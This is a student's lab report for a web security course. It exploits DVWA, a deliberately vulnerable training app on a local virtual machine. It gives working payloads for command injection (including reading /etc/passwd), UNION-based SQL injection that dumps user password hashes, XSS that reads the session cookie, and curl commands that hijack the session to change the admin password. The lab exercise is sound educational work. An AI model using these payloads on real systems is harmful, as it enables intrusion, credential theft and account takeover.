Álvaro Morata Hontanaya
100405846
04/05/2022

Lab 5 - Web Security

1) Command execution

a) The code is vulnerable to a command injection attack, as it does not sanitize the input received by the form, and you can execute multiple commands from it.
To exploit the vulnerability we only need to do the following in the form:
```
; [system command we want to use]
```
An example in this case would be:
Attaching the ls command to access the filesystem of the server machine.
```
; ls -la /home
```
Lists the contents of the /home directory, so we can see the filesystem is totally vulnerable from the browser.
Another thing we can do is to get the contents of the /etc/passwd file, though we cannot get the contents of the shadow file as the user does not have root privileges.
```
; cat /etc/passwd
```

2) SQL injection

a) The SQL query injected to retrieve the table names was:
```
0' union select null, table_name from
information_schema.tables where table_schema='dvwa
```
It retrieved a total of 2 tables, `guestbook` and `users`.

b) First, we insert this query to get all the column names in the table `users`:
```
0' union select null, column_name from
information_schema.columns where table_schema='dvwa' and
table_name='users
```
The column names of the table `users` are: `user_id`, `first_name`, `last_name`, `user`, `password` and `avatar`.
The query necessary to return the values of all the columns for each user is:
```
0' union select null, concat(user_id, 0x0a, first_name,
0x0a, last_name, 0x0a, user, 0x0a, password, 0x0a,
avatar) from users #
```
This query concatenates the columns of the table `users` and separates the **values** with the character `'\n'` (whose value in hexadecimal is `0x0a`)

c) To return the username and password hash tuples from the database we inject the following query:
```
0' union select user, password from users #
```

d) All passwords were cracked in less than a second. One of them is the following:
Username: `pablo`
Password: `letmein`

Álvaro Morata Hontanaya
100405846 04/05/2022

3) CSRF and XSS

a) We use the curl command to try to change the value of the password:
```
curl --location
'http://192.168.56.10/dvwa/vulnerabilities/csrf/password
_new=1234&password_conf=1234&Change=Change#'
```
We try to change the password to 1234 with the previous command.
When we try to log in again in the dvwa, we need to authenticate with the default password, as the curl command did not change the password. The reason it does not change the password seems to be that, as the user is not authenticated, it is not able to change the password with the command.

b) To retrieve the session cookie, the only thing we need to do is inject the following html code into the input:
```
<script>alert(document.cookie)</script>
```
The cookie contains the security level of DVWA and the following cookie:
`PHPSESSID=3ccd289d16c0445edb268176365f28ad`
This is the ID of the session open in the browser, which should be enough to change the user's password with `curl`.

c) To be able to change the password, we need to modify the curl command so it also sends the cookies corresponding to the session:
```
curl --cookie
"PHPSESSID=3ccd289d16c0445edb268176365f28ad;security=low
" --location
'http://192.168.56.10/dvwa/vulnerabilities/csrf/password
_new=1234&password_conf=1234&Change=Change#'
```
This way, when we try to log in again, we need to put the password "1234" because it has been successfully changed for the user "admin"